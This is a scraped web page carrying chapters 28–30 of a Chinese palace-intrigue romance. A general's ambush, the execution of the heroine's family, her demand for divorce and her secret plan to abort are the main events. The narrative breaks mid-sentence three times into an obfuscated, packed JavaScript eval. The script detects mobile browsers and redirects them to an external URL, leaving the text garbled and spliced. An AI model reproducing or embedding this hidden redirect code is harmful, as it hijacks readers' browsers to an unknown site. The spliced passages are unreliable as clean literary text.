“还有异议吗？”靳愿抽回了刀，以锦帕拭去其上的血迹，动作漫不经心。好似被他杀死的，不是圣上派来监军的御史，而是猪羊之类的牲畜。 他凌厉的眼眸徐徐抬起，在帐内环视一周。被他目光触及之人，都觉寒毛卓竖，下意识垂首回避。 “既然没有，那便起营，即刻还朝。” 众将官领命退下，唯有秦毅留了下来。 靖国公从军十五年，而秦毅在他身边跟了十年——是他的心腹，亦是生死至交。 秦毅道：“公爷当真要反？” 靳愿的薄唇抿得极紧，将手中那封信递与他。 他迅速浏览一遍，皱眉问道：“怎么突然对褚家和张家下手了？是丞相党做的？” “不像。”靳愿道，“掐准了我不在的时候，以雷霆手段诛杀掌兵权的平远侯父子……这么险的一步棋，不像那老狐狸的作风。” 他话音愈沉：“幕后主使之人，恐怕是小皇帝。” 更何况，他此番出征西域，本就是皇帝所遣。 “平日里看着懦弱顺从，原来竟是在扮猪吃虎。” 秦毅了然颔首：“既要收张家的兵权，那下一步，就是您了。” “所以我不得不反。” “您与张侯爷为国南征北战，皇帝竟这般不念旧情，实在不仁！倒也怨不得我等不忠了！” “帝王心术，自古如此。” 秦毅道：“您手中掌大雍四分兵力，皇帝即便收回了张家的大军，一时之间也难以归心，您胜算颇大。不如今夜便举兵而反……” “阿眉尚在他们手中，待起兵的消息传过去，恐怕她性命危矣。”靳愿道，“我领一营精锐急行回京，你领大军后至，莫要举旗，只说是受我的命令还朝。即便秘密泄露，我也能赶在风声传到皇帝耳中之前，赶到长安城。” “您只领一营的兵力，若生变故，又该如何应对？” “我八岁披甲上阵，征战十五年，从死人堆里爬出来不知道多少回了。想拿下我，还没那么容易。况且事到如今，要保全阿眉和褚家，也没有别的法子了。” 他眉心微凝：“不过你的担忧确实在理，万一我当真事败身死，你便向皇帝归降，将一切罪责都推到我身上，莫要牵连自身。” “末将岂能苟且偷生，行此大不义之事！”秦毅疾声道，“昔日沙场之上，您救过我三回性命，如今方到了我报恩的时候！” “不，”靳愿道，“你活着，才能替我看顾好阿眉。” 言罢，他又嘱咐了诸多事宜。 秦毅只得一一应允下来。 靳愿点了兵，趁夜带着骑兵营离去，急急行往京城。 三日后，已至安西要道。 黑云掩住了月色，只能模糊看见行道的轮廓。先锋的军马正在疾驰，前蹄骤然被绊马索一拦——马儿失却了平衡，带着骑兵滚倒在地。 “公爷，不好，有埋伏！” 28. 第 28 章 伏兵不再隐藏身形，披坚执锐的军队如一条玄黑巨蟒，沿着行道两旁蜿蜒盘绕，将猎物围困在鳞尾之间。 敌军的数量远超靳愿所领的骑兵营，甚至是十倍不止——看来是有人算准了他的动向，调兵在此伏击。 靳愿毕竟征战多年，靠着赫赫军功得封国公，即便眼下变故陡生，仍极快地反应了过来。他扫了一眼敌我的兵力差距，瞬间有了决断。 他面沉如水，腰间长刀铮然出鞘，下令道：“众将士听令，变锥形阵，随我突围！” 一声喝罢，麾下精锐迅速聚拢，紧随于他身后。 他带头冲锋，极其骁勇；刃锋过处，血溅五步。伏兵重重包围，竟硬生生被他撕出一道裂口。 只可惜双方人数悬殊巨大，他所领的骑兵营如蝼蚁一般，渐渐被黑蟒收拢的蛇尾吞噬。 靳愿早已数不清手中长刀挥舞了多少下，那刀越来越沉，刀刃砍出了豁口。他身上的甲胄如同血染，衬得他更像是从地狱中爬出的恶鬼。 这是一场令人绝望的鏖战，敌军好似斩不尽、杀不绝，他杀完一批，总还有更多的兵力续上来。他强闯过处，满地尸骸堆积如山。跟在他身后的精锐折损得越来越多，他手中的力量渐渐衰微，可敌人还是密集得望不到尽头，仿佛沉沉黑云朝他们压过来。 信上发颤的字迹浮现在他眼前： “伏以血诚、泣告贤兄台前……恳请仁兄援手……若蒙俯允，虽结草衔环，粉身碎骨，亦难报万一……” 褚家和张家皆已落狱，行刑在即，她只怕忧惧惶恐至极。他连让她皱一下眉头都不舍得的小女娘，如今被人欺凌到这般境地。写给他的求援信中，句句哀恸，字字泣血。 原是他不好，怨他没能守护好她。 她身后已没了别的依傍，只剩下他了。她还在等着他回去，他绝不能……折在这里。 耳边杀声震天，眼前刀光血影，再这样耗下去，迟早被源源不断的敌人拖垮。他提刀挡住迎面而来的剑戟，暂作守势，略略调息；而后提气轻身，在马背上一踩借力，纵跃飞出—— 一位老者翩然而至，拦住他的去路。 靳愿历经久战，近乎力竭。稍微交手，便落了下风。 “是您。”他辨认了对方的容貌，自嘲一笑，知晓此番已再无生机。“晚辈何德何能，竟能劳动您亲自出手。” 六月初九，褚家与张家的死囚于东市问斩。 褚笑眉寄出的每一封信，全都石沉大海；向来对她无有不应的承望哥哥，到了如今这个局面，也并未给她任何回音。 时辰愈发地逼近午时。 盛夏的日头烤得人一阵阵发晕，褚笑眉发髻凌乱，簪钗斜斜地往下坠着。她拼力挣扎着，想要挣脱婢女们的束缚。 “让我出去！你们这些贱蹄子，都滚开……” 她原本是被关在屋内的，可她举着黄花梨木椅，砸开了紧锁的房门，硬生生闯了出来。院中的侍婢一拥而上，各自拉扯住她，将她控制在原地。 这些大户人家的侍女们，整治人是有一套的。不过这些手段常常用来管束不听话的下等婢女，如今既要用在主子身上，下手自然要轻得多——更何况，这位夫人腹中尚且有着尚书大人的骨肉，若有损伤，她们谁也担待不起。 故而她们只是反剪着她的手臂，将她压得微微俯身，好教她使不出反抗的力道来。 褚笑眉憋得脸都红了，仍旧挣不开分毫。她额上的汗水混杂着泪水淌下来，将散落的青丝乱七八糟地粘在颊边；上衣也早已被汗水浸透，带着滚烫的湿意紧紧贴着身体。整个人狼狈得很，哪里还有半点昔日高门贵女的模样？ 尤嬷嬷立在她近前，姿态恭顺地躬着腰，柔声解释道：“夫人，您别做无谓的抗争了。大人上朝前特地交代过，今日定要寸步不离地看好您。无论您怎么闹，奴婢都不可能放您出去。” 褚笑眉恶狠狠地瞪着她，恨不得将她生吞活剥了：“我爷娘就要被推上断头台，你们却把我关在府中，要我安生待着？再敢阻拦，信不信我将你们一个两个全都发卖了！” “这是大人的意思，您就别再为难奴婢了。” “呵，我为难你们？”褚笑眉似是听到什么极讽刺的事情，从鼻间嗤出一声。 她在江家做了大半年的当家主母，从未苛待过下人分毫，打赏时更是出手阔绰。即便有人犯了错，也不过训几句了事。正因她并未在府中立威，事到如今，无论她如何威胁恫吓，都没人拿她的话当一回事。 她怒极反笑：“你看看四周，究竟是谁在难为谁？” 她被十余名婢女围困着——有人拦住院门，有人钳制她的胳膊。她分明是这后院的主人，如今看来，却更像是此处的囚犯。 日晷上铜针的阴影已投到了午时。 “白虹！”她呼喊着自己的陪嫁婢女，嗓音嘶哑得厉害，“你还愣着干什么？动手啊！把她们都弄开！我要出府！我要去见我爷娘！” 白虹却仍静立在原处，出言劝道：“夫人，您就算现在过去，也改变不了什么了。” “混账东西！什么时候轮得到你来做主了？！”褚笑眉双目通红，哑着嗓子喝道，“这是我的命令！” “请恕奴婢……难以从命。”白虹缓缓垂下眼睫，避开了她的目光。 “放肆！褚家养你长大，教你习武，你就是这样报答的？！” “奴婢正是因为想保全夫人，才不能听您的吩咐。”白虹道，“褚家因贪墨坐罪，满门抄斩，只您一个已出嫁的女儿躲过一劫。您难道非要去法场闹一通，提醒圣上不该放过您？” “忘恩负义的狗东西！谁许你自作主张？！”褚笑眉的目光移向了另一名婢女，“青简，过来帮我！小臣一手将你教养出来，难道你也要弃他于不顾吗？” 青简的双眼早已泛红，眸中闪烁着泪光。她却紧紧抿着唇，强忍着没让眼泪落下，亦道：“夫人，白虹说的在理。郎君他……也会更希望您顾惜自己。” 晷针的影子悄然转动。 “又是这番话……又是劝我独善其身……”褚笑眉满眼悲戚，两行清泪滚落下来，“我恨透了这样。为什么我什么都做不了？为什么连你们也不站在我这边？” 这里是江府，她名义上虽是当家主母，可却没有一个人愿意听从她的吩咐；甚至连她自己带来的陪嫁侍女，都在违逆她的意思。 她曾经以为她是高不可攀的京城第一贵女，可原来她拥有的从来都不是权力，只是更高位者的宠爱。一旦身后没了依傍，就再也没人会拿她当回事。 事实上，她没有任何人可以恨，她只能恨她自己。从前种种贪图逸乐，都在这一刻反噬，成为她如今的无能为力。 她抬起红肿的双眸，望着身周的婢女们，语调卑微而破碎：“求求你们，就让我出去吧……让我去送爷娘最后一程……” 她甚至想要跪下乞求她们，可她们紧紧抓着她的手臂，她根本动弹不得。 泪水不断地涌出来，她的目光望向院中的日晷，透过模糊的视线，努力辨认其上的刻度。 时间渐渐流逝，她的语气愈发焦灼，情绪愈发崩溃，口中的恳求变成了无意义的嘶喊——可饶是她如何声嘶力竭，却也不过是徒劳。 直到那日影终究指向了午时三刻。 “啊——！！！！！”她痛苦的哭嚎惊起了枝头的飞鸟，鸟雀们扑扇着翅膀骤然飞至高空。 她哭喊着望向院墙，又好似透过眼前的高墙，望向了东市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444148|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刑场。 她似乎看见爷娘与阿弟戴着枷锁，垂首露出脆弱的后颈。而那屠刀重重落下，斩断了她前半生所有的亲情与依恋。 她眼前一黑，终于晕了过去。 褚笑眉醒过来的时候，暮色已至，屋内点起了灯。江铭守在榻边，见她睁眼，冲她温文一笑：“醒了？可有何处不适？” 他伸手想要扶她坐起来，她却推开了他的手，自己撑着床榻艰难坐起。 “我阿爷阿娘怎么样了？已经被处决了……是吗？”她眼中已流不出泪了，好似今生的泪水都在这一日哭得干涸，唯有嗓音还喑哑得厉害。 “郎中说你悲恸过度，要好生休养。”江铭回避了她的问题。他招了招手，侍婢便将炉上的糯米阿胶粥盛入碗中，俯身呈了上来。 他接过花开并蒂纹青花瓷碗，舀起一勺药粥，吹凉了递至她唇边：“知道你不喜欢喝苦药，我特地让郎中开了药膳的方子。方才一直煨在炉上，小心烫。” 褚笑眉看着他，忽然觉得荒谬。 他分明害死了她全家，如今竟仍是一副若无其事、温柔体贴的模样，好似什么都没有发生，他们还是一对恩爱夫妻。 她抬手打翻了他手中的药碗，滚烫的药粥倾倒在他手背上，将他白皙的肌肤烫得通红。 他却连眉头也没蹙一下，毫不在意地拿起了那碗，搁置在旁边的矮几上。他用丝帕拭净手上的汤粥，叫婢女为她换上干净的锦被。 他这般风轻云淡的反应，越发刺痛了她。 她痛苦，她反抗，可在他面前，却好像只是闹脾气的狸奴，淘气地打翻了盛汤的瓷碗——所以他甚至都懒得同她计较。 譬如现在，他仍在柔声哄劝：“长欢现下没胃口？那我们等一阵再喝。” 长欢。 她还记得婚前那一日，他问她想要什么样的字。她羞得满脸通红，却仍旧仰着头，目光灼灼地望着他，珍而重之许下自己的心愿： “我名唤‘笑眉’，字不如就叫‘长欢’吧？” “往后愿与夫君——常生欢喜，举案齐眉。” 铮铮誓言犹在耳，不到一年的时间，已事过境迁、地覆天翻。如今回想起来，与他的种种恩爱缠绵，竟遥远得像是上辈子的事情。 甚至连她自己都难以理解，她当时怎会对他抱有那般浓烈的喜欢与热忱；而现在，看着面前这张脸，她只觉得憎恨与恶心。 “别叫我长欢，”她冷冷道，“这个字实在是令人作呕。” 江铭鸦睫一颤，垂眸掩去了眼底的情绪。他面上笑意有些僵硬，却维持着语调的和缓：“好，阿眉觉得不好听，我们回头另起一个。” “江铭，你还真是喜欢粉饰太平。” 江铭一怔。 自他们相识以来，这是她第一次连名带姓地叫他。 往日里即便她着恼了，也只是大声地喊他“江文颂”，或者佯作疏远地唤他“江尚书”。她虽然性子娇纵，对在意的人却极好，从来不会一时气愤，说出什么伤人的话。 在他们之间，在他勉力维系的平静之下，仿佛有什么正在悄然裂开。 褚笑眉目光冰冷，凌厉如出鞘的剑锋：“你既然做得出来，为什么不敢和我谈论褚家的事？你就是害得我家破人亡的元凶，如今还装出这副情真意切的样子给谁看？” “阿眉，若有的选，我也希望你平安喜乐。”他嗓音发涩，“可褚家作恶多端、鱼肉百姓，我……” “你那套天下大义的说辞，我已经听腻了，没兴致听你再重复一遍。”褚笑眉打断了他，“我不管你怎么想，你害死的是我至亲的家人，我这辈子都不会原谅你。” 她定定望着他，一字一句道：“江铭，我们和离吧。” 29. 第 29 章 “和离？”江铭眼瞳一震。 他没想到，会从她口中听到这个词。 少女初开的情窦热烈而诚挚，望向他的目光总是灼灼，芙蓉般的面颊浮着云霞。她自以为掩藏得极好，但眼神总忍不住落到檀郎身上，杏眸中的喜欢与依恋满得快要溢出来。 被这样的眼眸看着，好像周身都浸在微烫的温泉里，热意从肌肤熨帖到心底。让人只想拥着这汪池水放松地喟叹，一生也不要脱离。 可如今，这双暖泉般的眼睛竟冷了下来。 他从未见过她这样的眼神。 她该是娇纵的、羞赧的、嗔怒的……什么样的都好，总之不该是这样的。她眸中一派森寒冷意，像是将将化冻的江水，尚且混合着漂浮的冰，激得人寒毛乍起。 惶乱的情绪在心底磕磕碰碰，他强行地忽视了过去。开口时放柔了语调，似在哄劝她，亦或是这般劝慰自己： “阿眉，你只是太激动了。你先好好睡一觉，缓上一缓，我们再谈论此事，好不好？” “我很清楚我在说什么。江铭，你害死了我全家，我与你有不共戴天之仇。我如今对你没有爱，只有恨，我不可能和你同度余生。” 褚笑眉不给他回避的余地，定定地与他对视。她看透了他遮遮掩掩的疮口，毫不留情地伸手揭开，撕出淋漓的血肉。 连爱都炙热得烫手的人，恨意也同样浓烈而纯粹。 “你恨我？好，那便恨罢。” 恨也没什么不好的。 恨是爱里结出的最苦的果，比爱更加刻骨铭心。 他说服自己接受了这一切，尽量想表现得坦然，眉眼间仍不由自主地浮上悲戚。 抛开什么爱啊恨啊的，他们该谈论一些实际的问题。于是他柔声道：“我且问你，你一个女儿家离开了我，要怎么活下去？” “与你无关。” 她不做思考，冷冷地吐出了这几个字。 到底是被保护得太好的小女娘，一味地意气用事，从不考虑自己的退路。 他不一样——他走一步，算三步，看十步。他将可知的未来掌握在手中，消去那些不可知的变数。 她的幼稚与莽撞，又教他恢复了几分胜券在握的胸有成竹。 “无论你愿或不愿，现下我还是你的夫君，自然与我有关。”江铭平静地回她，“况且，你要和离，还需我应允，不是吗？你若答得上来，我便允你。” “家中为我置办的陪嫁，足够我一生衣食无忧。” 这个答案，果真同他料想的一样天真。 江铭轻轻摇头：“阿眉，你不知世道险恶。一名没有父亲和丈夫可依傍的妇人，偏又身家巨富，你以为会有什么好结果？ “你要如何保全自身，又要如何养大腹中这个孩子？” 似是听到了极好笑的事情，褚笑眉蓦地嗤出一声嘲弄的轻笑：“事到如今，你居然还觉得我会为你生儿育女？待我们和离，我腹中这个孽种，自然要……” “孽种？”江铭被这个词刺痛，不待她说完便打断了她，一把攥住了她的手腕。他手上使的力道极大，捏得她生疼。 可她没有喊疼。 他失控的、痛楚的模样反而愉悦了她，她探究地望着他，唇角勾着一抹讽刺的笑意，好似在问他——连你这样的人，也会有在意的血脉之情吗？ 她眸中映着烛火与他的模样，那烛光一下一下跳动着，好似锋利的剑芒，一刀一刀割开他的身影。 他在这样的眼神下溃不成军，落败地松开她，手上仍发着抖。 江铭蜷起指节，将颤抖的手指紧紧扣在拳中：“阿眉，别说这样的话，孩子是无辜的。” “啪！”重重的一巴掌扇过来，他白皙的脸上立即浮现出几道清晰的指印。 他被打得偏过头去，几缕青丝散落下来，显出些许的狼狈之态；又徐徐抬眸，望向眼前的她。 御街初见时，他也是这样看着她。 只是那时的他，尽管被榜下捉婿的人追赶得狼狈，仍不掩年少中第的意气风发。而高门贵女身着锦绣织金的窄袖胡服，坐在汗血宝马上睥睨着他。金风玉露，一见难忘。 不像现在。 她瘦得厉害了，精神难免有些萎靡，眸中翻涌的恨意却反而愈发浓烈。江铭的脸色苍白更甚，衬得他眉目浓黑如画，双眼和颊上的掌印红得惊人，绯艳而惊心动魄。 “呵，孩子无辜，那你无辜吗？你倒有脸来同我说这番话。”她喑哑声音中夹杂着冷笑，“我告诉你，这孽种流着你一半的血，我绝不会让它活着出世。” “是我铸成大错，阿眉合该恨我的……只是别迁怒这个孩子，好吗？”他再度拉起她的手，贴在自己红肿的左脸上，近乎是在向她乞求。“阿眉若不解气，尽管多打几下。或者有别的惩罚，我都甘愿领受。” 他脸上被她打过的地方发着烫，她扇那巴掌时用了十足十的力道，以至于她的掌心也有些红肿。两处相似的、同源而生的滚烫贴在一处，热络得仿佛要一起淌进血脉里去，泥淖般扯不开、甩不掉。 褚笑眉用力抽回手，掌心似乎还残留着他肌肤的触感。她嫌恶地蹙起眉，一字一句道：“江铭，你听好了——这孽种既在我腹中，是去是留，当然由我决定。” 她不欲再与他纠缠，出言催促：“你若没什么旁的话要说，就赶紧与我签下和离书。和你待在一起的每一刻，都让我觉得无比恶心。” 她向来率直，从前藏不住爱恋的那双眼眸，到了如今，满溢的厌恨更是不加掩饰。 江铭眸光一颤：“阿眉厌恶我，我可以同你分院而居，少在你面前出现。” 他是优秀的棋手、谋士，亦或者权臣。他退让半步，又提出他的筹码：“你若当真与我和离，此后恐难以独自生存，世上多得是你承受不住的风雨。倒不如继续做江夫人，我能给你提供必要的照顾与保护；除此以外，也会给你足够的自由。” “你不会觉得你提出的条件很诱人吧？”褚笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454153|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉嗤笑道，“江铭，你算个什么东西，用得着你来管我？” “我是你的夫君……” “你是我的仇人。”她冷声纠正道，“若不是你的所作所为，我何至于家破人亡？从今往后，我不想再与你有一丝一毫的瓜葛。我再问你最后一遍，这和离书，你签是不签？” 江铭泛红的眼眸盯住她，试图从她脸上搜寻出犹豫的痕迹。 ……可是没有，半点也没有。 是他忘了，下棋需得棋逢对手、各自筹谋。 她娇纵惯了，只依照自己的脾性行事，才不会坐在棋盘的另一边权衡利弊。不懂算计，不留后路，又不肯接招，实在是令人头疼。 江铭抿紧了唇，用力阖眸；再复睁开时，眼底已无多余的波澜。他定定地告诉她：“我不会签的。” “不仅如此，我还要提醒夫人一句话。”他黑眸沉沉，如同深不见底的池渊，直欲将她吞噬。 “你若同我和离，身份自会回归褚家——圣上已下过旨，要褚家满门抄斩。夫人不妨猜猜看，漏网之鱼的结局会是什么？” “你威胁我？！”她又惊又怒。 “夫人说是威胁，那便算是吧。”江铭轻轻一笑，指腹抚上她苍白的唇瓣。他指尖凉得瘆人，蹭过她肌肤时，像是毒蛇冰冷的鳞尾扫了过去。“夫人要想活命，还是趁早绝了和离的念头。” 他凝视着她的眼眸，看着恨意在她眼底扎根，恣意地生长。 没关系，就这样恨他吧。恨他也好。 但就像从小豢养的狸奴失却了捕猎的本领，千娇百宠的贵女一口银牙都快咬碎了，也不过恶狠狠诅咒一句：“江铭，你不得好死！” “药膳一直煨在炉上，夫人不想喝就不喝。”江铭恍若未闻，起身抚平衣摆的褶皱，冲她微微颔首，仍是一副君子端方的模样。“夫人如今既这般憎恶我，我就不在这儿碍眼了。” 言罢，他果真毫不留恋地迈出了房门。 屋内的暖黄烛光倾泻而出，落在他身上。随着他身后的门扉缓缓合拢，那亮光越来越窄，直至完全消失不见——光再也照不到他，他已全然地置身于黑暗中了。 他回过头，望向隐隐透着灯光的窗纸，自嘲般笑了笑。 他听见白虹在里面询问：“夫人，那药膳……” “别叫我夫人！”褚笑眉道，“不喝，我死不了。” 还真是桀骜不驯。 不过，翱翔的雄鹰都能被驯服，更何况一只自小娇养的猫儿？心气儿倒是高，只可惜连利爪都没有，拿什么反抗？ 他收回目光，抬步走出院落。 褚笑眉揭开茶壶，泼灭了炉中燃着的火：“让她们都下去。” 白虹与青简在她身边随侍多年，知道她是有话要说，不方便让旁人听见。二人对视一眼，抬手命令江府的侍女退下。 待目送她们离去后，白虹又检视了一番，确定四周再无闲杂人等，方才请示道： “娘子有何吩咐？” 30. 第 30 章 少女曾经白里透红、明如朝霞的容颜泛着蜡黄，脸颊向内凹陷下去，整个人瘦骨嶙峋的。如同千娇百艳的牡丹一朝开败，秾丽的颜色消退，显得干瘪而萎靡。 顶着这样一副虚弱的躯体，她眸中反而燃着跳动的亮光，好似白骨腐朽后化作的幽幽冥火，灼灼更甚从前： “去找些药来，我要落胎。” 江铭现下不肯与她和离，其余的都可徐徐图之，唯有这孩子……断不能再拖下去了。 白虹闻言一惊，劝道：“娘子如今无依无傍，更该生下这个孩子，稳固在江府的地位。” “我已决意与江铭一刀两断，为何还要考虑往后在江府如何？”褚笑眉道，“外头天高海阔，你眼里怎么偏偏只瞧得见留在后宅这一条路？” “奴婢是为娘子考量。这一条路，对娘子来说是最好的路。” 白虹的目光移向身侧好友：“青简，你也帮忙劝劝娘子。” 却听青简道：“奴婢赞同娘子所言。” “你……”白虹惊道，“你素来最是谨慎明理，怎会说出这样短视的话？” “我并非意气用事。” 青简解释道：“褚家与张家树大根深，竟能被江尚书一手覆灭；他为逼迫娘子留下，又以她性命相挟。可见此人心机颇深，且行事不择手段。 “他如今尚且愿意保全娘子，那以后呢，当真不会有再度背叛的那一天吗？” 白虹道：“依奴婢看来，大人对娘子情真意切，不似作伪。褚家之事，是为国计民生考量的不得已之举，大人内心想必也十分煎熬。” 青简微微蹙了眉，狐疑道：“你言语之中，为江尚书辩驳颇多。莫不是褚家一倒，你竟要去做那墙头草？” “你怎会这般揣度我？”白虹眸光一颤，满脸不可置信。 她直挺挺向褚笑眉跪下，铮铮道：“自娘子八岁起，奴婢便随侍在娘子身边，何曾有过二心？奴婢不忍娘子流离在外，吃许多苦头，这才力劝娘子留下。娘子若疑心，只管将奴婢打杀了，奴婢绝无怨言！” 褚笑眉望着她倔强的眼神，思绪倏忽被拉回到八岁那年—— 那时的白虹，刚被褚家采买回来，尚且只是一个负责庭院洒扫的下等婢女。 褚笑眉骑马玩耍时，马儿不知怎的失了控，发疯般地乱冲乱撞。仆役们惊惶失措，千钧一发之际，竟是白虹这个小丫头冲上前来，不顾自身安危，拽住缰绳勒停了马——同时，也被马儿踩断了腿。 褚父请了最好的郎中为她医治，所幸没落下病根。 褚父同她说：“若非你忠心护主，今日受伤的就是阿眉了。你有什么想要的奖赏，尽管提出来。” 白虹道：“奴婢想要习武，往后一直保护娘子。” 褚父应了下来，从那以后，她就成了褚笑眉的贴身侍婢。 “行了，”褚笑眉打断了二人的争论，伸手将白虹扶起。“我们现下身处江府，本就孤立无援，不可再起内讧。” 她轻轻拭去婢女眼角的湿润，柔声道：“你护我多年，我信得过你。” 白虹福身一礼，哽咽道：“能得娘子赤诚以待，奴婢虽肝脑涂地、亦死而无憾！” “别说什么死不死的，我们三个都要活下去。” 褚笑眉继续道：“至于落胎之事，我意已决，你莫要再劝。江府之中就有药房，我们得想法子弄些合用的药来。” 青简道：“奴婢粗通些药理，当归、川芎、红花、三七等活血之药，均有此效。奴婢可为娘子寻来——” “不可！”白虹出言劝阻，“娘子如今月份大了，若药性相冲，或剂量过大，恐有性命之虞。还是先请郎中看过……” 青简叹了口气：“江府的人将娘子看得这般紧，若真能请到郎中，我又怎会出此下策？” “郎中不能来，我们就出去找郎中。”白虹道，“奴婢轻功好，可避人耳目潜行出府，寻个郎中为娘子开一服落胎药，再偷偷将药带回。” 青简颔首道：“如此甚好，这个法子确实最为稳妥。” 褚笑眉握着白虹的手，仔细叮嘱：“你行动时当心些，若事有不成，我们再想别的法子，千万莫要逞强涉险。” 她抿了抿唇，眼眶有些泛红：“我家里人都死了，我只剩下你们俩了……你一定要保全自身，知道吗？” 白虹应道：“娘子放心。” 卯时上朝，江铭寅时便会出府，白虹选在他离开后动身。 褚笑眉等得焦灼，将绢帕翻来覆去地在手中绞着，时不时就问上一句：“白虹去了多久了？” 青简答道：“娘子莫急，才半个时辰，她应当在赶回的路上了。” 正值六月盛夏，长安城像个火炉，外头的蝉声吵得人耳朵疼。孕妇本就体热，褚笑眉又心中焦急，额头密布着细密的汗珠，刚用手帕拭去，旋即又沁出汗来。 如意纹黄花梨冰鉴冒着森森冷气，青简侍立在旁，持着缂丝花鸟团扇徐徐扇动，将凉风送至她颊边。 又等了两刻钟功夫，白虹终于回来了。她脸颊被晒得发红，面上带着笑意：“娘子，成了。” 青简见她两手空空，问道：“药呢？” “且先听我说完。”白虹道，“奴婢去的那家医馆，可代为炮制药丸。奴婢想着，煎药动辄需要几个时辰，如今四处皆是江尚书的耳目，很难不被发现。倒不如直接让他制成药丸，省去这一麻烦。” 青简点了点头：“你这番顾虑确实在理。那药丸制好需要多久？你是否还得再跑一趟？” “三日后申时，药童会将药丸送过来。东边院墙下有一处破洞，奴婢与他约在那里取药。” “难为你思虑得这般周全。”褚笑眉道，“今日辛苦你了，快好生歇歇吧。” 江铭散了衙，照例过来看她。 褚笑眉的脸色在瞥见他的瞬间垮了下来，毫不掩饰面上的厌恶。 他却恍若未见，径直到榻边坐下，从婢女手中接过团扇，轻轻为她扇凉：“听说你晚膳吃了三块透花糍，糕点虽好，也不可贪多。总还是要吃些荤素均衡的菜。” 褚笑眉死死盯着他，恨不能将他啖肉饮血。 江铭也不等她回答，自顾自地道：“我为我们的孩子拟了几个名字，阿眉挑挑看，喜欢哪一个？” “滚出去。”褚笑眉终于开口。 “好，先不说孩子的事。”他的呼吸有些发颤，“小喜也很想你。这些日子你不去看它，它连鱼干都不肯吃了……” 褚笑眉嗤笑出声：“连猫儿都会被你用来博取同情。江铭，你还真是卑劣。” 江铭那双狐狸眼泛了红，垂眸苦笑道：“阿眉恨我，自然看见的都是我的错处。” “罢了。”他起了身，向婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474217|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女嘱咐道，“我今夜仍宿在书房，若夫人有任何不适，及时来禀我。” 三日后。 到了约定的申时，白虹正要去取药，恰好与江铭迎面撞见。 褚笑眉悚然一惊。这个时辰……他不该在衙门吗？ 尚书大人立在门前，挡住了婢女的去路。 “这是要去哪儿？”他问得轻描淡写，语气平静得像是在问晚膳吃了什么。眉目间却阴沉沉的，隐隐压抑着不悦。 白虹不动声色地道：“夫人嫌蝉声太吵，叫奴婢差人去捕蝉。” “成日在夫人耳边吵闹，扰得夫人心绪不宁。早该除去了。” 他招了招手，示意身后的管家跟上来：“宁管家有一道秘方，专治聒噪的小虫。白虹，劳烦你同他走一趟……” “你要对白虹做什么？！”褚笑眉喝道。 “夫人多虑了。”江铭笑了笑，“无缘无故的，我还会伤害她不成？难道说她做了什么错事，尚未被我发觉？” 这话四两拨千斤，褚笑眉不知该如何应付。 他这样的态度……她甚至都拿不准，他究竟是真的发现了什么，抑或是在诈她。 褚笑眉惊惶不定，只得道：“不必去了，我突然觉得这蝉声很好。白虹，回来。” “夫人方才还嫌吵，这么快就改主意了？” 褚笑眉紧张地攥紧了裙摆：“我有孕在身，孕妇总是反复无常的。” “也是。”江铭赞同道。 褚笑眉刚要松开紧绷着的那口气，却听得他又道：“既然反复无常，除蝉的法子还是要学的。以免什么时候，夫人突然又觉得蝉声吵了。” 他不再给她解释的机会，冷声吩咐：“宁管家，把人带走。” “等等！”褚笑眉急道，“白虹是我的婢女，没有我的同意，谁也别想带她走！” 江铭上前几步，俯身欺近了她：“夫人在怕什么？有什么秘密是不能让为夫知晓的？” “江铭，少来管我的事。” “好，都听夫人的。”江铭笑吟吟应下，撩起下袍落了座，“那让白虹为我斟一盏茶，总是可以的吧？” 茶壶却并不在屋内，青简方才去添茶，直到现在也没回来。褚笑眉暗道不好，恐怕是她回来时看见了江铭，发现白虹抽不开身，故而替她取药去了。 若此时让江铭察觉青简的行踪，可就糟了。 褚笑眉佯作镇定，冷声问道：“你到底想干什么？” “讨盏茶也要挨夫人训？为夫冤枉啊。”江铭道，“我只是想同夫人喝茶闲谈。” “我同你没什么好谈的。” “真可惜。既然夫人不想闲聊，那我就直入主题了——”江铭抬起眼帘，沉如深渊的眸子映出她的身影，徐徐问道，“你的另一名婢女，去了哪里？” “与你何干？” “夫人不说我也知晓。”只见江铭拊掌三下，两名家丁一左一右钳制着青简，将她押了进来，一把雪亮的大刀架在她脖颈上。 “大人，这是从青简身上搜到的。” 江铭接过一只有着“仁心堂”字样的青花瓷药瓶，揭开嗅了嗅，手指骤然蜷紧：“好重的麝香气味……” 瓷瓶被他“当啷”一声重重搁在方几上，他眼眸微眯，厉声喝问： “青简，你意图谋害夫人腹中的孩子，该当何罪？”